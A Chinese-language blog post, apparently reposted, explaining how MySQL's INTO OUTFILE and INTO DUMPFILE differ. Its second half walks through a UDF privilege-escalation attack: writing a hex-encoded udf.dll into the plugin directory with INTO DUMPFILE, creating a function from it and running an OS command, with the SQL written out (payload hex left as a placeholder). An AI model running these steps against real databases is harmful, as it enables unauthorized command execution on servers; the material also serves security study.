mysql dumpfile與outfile函數的區別


一直以為兩個函數作用是相同的
 
經過簡單測試發現還是有些區別的
 
如下表admin
 
mysql> select * from admin;
 
+-----+-----------+---------+
 
| uid | name      | pass    |
 
+----+------------+---------+
 
|  1 | admin      | baidusb |  
 
|  2 | root          | hacksb  |
|  3 | manage    | nimei    |
 
|  4 | boss         | helensb |
 
|  5 | guanli       | admin   |
 
|  6 | superuser  | G0Ood   |
 
+----+------------+---------+
 
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
 
Query OK,1 row affected (0.00 sec)
 
我是想將這些內容 導出到 一個txt文件,事實上是可以完整導出每行記錄的.
這個很適合導庫
 
 
而into dump是不行的 它只能導出 一行數據!
 
 
若我們想把一個 可執行2進制 文件用into outfile函數導出
事實上 導出后 就會被破壞
 
因為into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符
這樣的話這個2進制可執行 文件 就會被破壞
 
這時候我們用into dumpfile 就能導出 一個完整能執行的2進制 文件
into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理
 
 
如在無web腳本 執行 但是有mysql root 執行的環境下 我們就可以 通過
into dump 函數導入udf.dll進行提權
 
mysql> show variable like '%plugin%';
 
+----------------+------------------------------------------+
|Variable_name   | Value                                    |
+----------------+------------------------------------------+
| plugin_dir     |c:\mysql\mysql server 5.1\lib/plugin      |
+----------------+------------------------------------------+
 
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人創建過udf 如果有就可以省略
mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select MyCmd('whoam');
 
一點小知識點:
 
如何獲取該udf.dll文件的16進制值(hex)?
我們可以本地搭建mysql環境 找個可以用的udf.dll文件 執行下面操作
 
mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
 
 
如何獲取該udf插件的內置 函數?
 
通過C32 等16進制 編輯器 或直接通過記事本 打開 看關鍵字 即可。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM